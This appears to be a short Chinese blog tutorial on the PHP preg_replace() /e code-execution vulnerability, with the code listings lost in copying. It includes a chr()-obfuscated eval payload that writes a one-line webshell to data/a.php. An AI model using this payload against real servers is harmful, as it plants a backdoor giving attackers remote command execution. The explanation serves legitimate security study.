代码执行函数

您所在的位置:网站首页 preg replace漏洞 代码执行函数

代码执行函数

#代码执行函数| 来源: 网络整理| 查看: 265

晚自习在补警职的作业orz苦啊。。表哥在看书的时候遇到的一个小问题,和我分享了一下,想起以前也遇到过这个危险函数,没有总结。回到宿舍已经快熄灯了,等到查完寝,学习了一下,简要总结。网上文章也比较多,发现都是一样的。。。。。。。参考参考。

1、关于 preg_replace() 函数:preg_replace 函数执行一个正则表达式的搜索和替换语法:

1mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。2、危险来源:/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。要确保 replacement 构成一个合法的php代码,才会执行,否则会报错。导致代码执行漏洞的产生。。

3、分析利用:代码:

123

如果提交:?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行,即把phpinfo()执行)

在后门中的利用:h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))解码:?h= fputs(fopen(data/a.php,w),);执行后: 在/data/目录下生成一个一句话木马文件 a.php

另一个例子:

123456


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3